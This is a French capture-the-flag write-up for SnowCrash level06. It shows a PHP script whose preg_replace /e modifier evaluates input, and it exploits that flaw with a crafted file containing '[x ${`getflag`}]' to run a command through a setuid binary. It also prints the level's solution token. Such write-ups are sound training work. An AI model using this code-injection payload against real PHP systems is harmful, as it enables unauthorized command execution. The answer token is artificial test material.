LEVEL06

```
level06@SnowCrash:~$ ls -la
total 24
dr-xr-x---+ 1 level06 level06  140 Mar  5  2016 .
d--x--x--x  1 root    users    340 Aug 30  2015 ..
-r-x------  1 level06 level06  220 Apr  3  2012 .bash_logout
-r-x------  1 level06 level06 3518 Aug 30  2015 .bashrc
-rwsr-x---+ 1 flag06  level06 7503 Aug 30  2015 level06
-rwxr-x---  1 flag06  level06  356 Mar  5  2016 level06.php
-r-x------  1 level06 level06  675 Apr  3  2012 .profile
level06@SnowCrash:~$
```

Dans cet exercice, on peut voir qu'il y a un fichier php et son binaire SUID.
Si jamais on cat le fichier php on a :

```
level06@SnowCrash:~$ cat level06.php
#!/usr/bin/php
<?php
function y($m) { $m = preg_replace("/\./", " x ", $m); $m = preg_replace("/@/",
" y", $m); return $m; }
function x($y, $z) { $a = file_get_contents($y); $a = preg_replace("/(\[x (.*)\]
)/e", "y(\"\\2\")", $a); $a = preg_replace("/\[/", "(", $a); $a = preg_replace("
/\]/", ")", $a); return $a; }
$r = x($argv[1], $argv[2]); print $r;
?>
level06@SnowCrash:~$
```

On peut voir des preg_replace qui permet de chercher et remplacer une string, ici avec les regex on peut cibler notre recherche, mais ce qui nous interesse c'est :

$a = preg_replace("/(\[x (.*)\])/e"

Ici on remplace les string commençant par "[x" et finissant par "]" par la meme string sans la condition et ensuite avec le "/e" on execute dans le shell le resultat.
C'est ce "/e" qui nous interesse, avec la bonne commande on peut faire execute une commande souhaite, et etant donne que le binaire execute avec les droits flag06, on peut donc chercher a avoir le flag de cette façon.

```
level06@SnowCrash:~$ vim /tmp/toto
level06@SnowCrash:~$ cat /tmp/toto
 [x ${`getflag`}]
 level06@SnowCrash:~$
```

On creer une fichier et le modifie pour y mettre une commande, sachant qu'en php pour execute une commande il faut " ${`command`}"

Si jamais on execute le script avec le fichier en parametres on a :

```
level06@SnowCrash:~$ ./level06 /tmp/toto
PHP Notice:  Undefined variable: Check flag.Here is your token : wiok45aaoguiboiki2tuin6ub
 in /home/user/level06/level06.php(4) : regexp code on line 1

level06@SnowCrash:~$
```

Ici on peut voir qu'on le token nous permettant d'acceder a l'exercice d'apres.

Token = wiok45aaoguiboiki2tuin6ub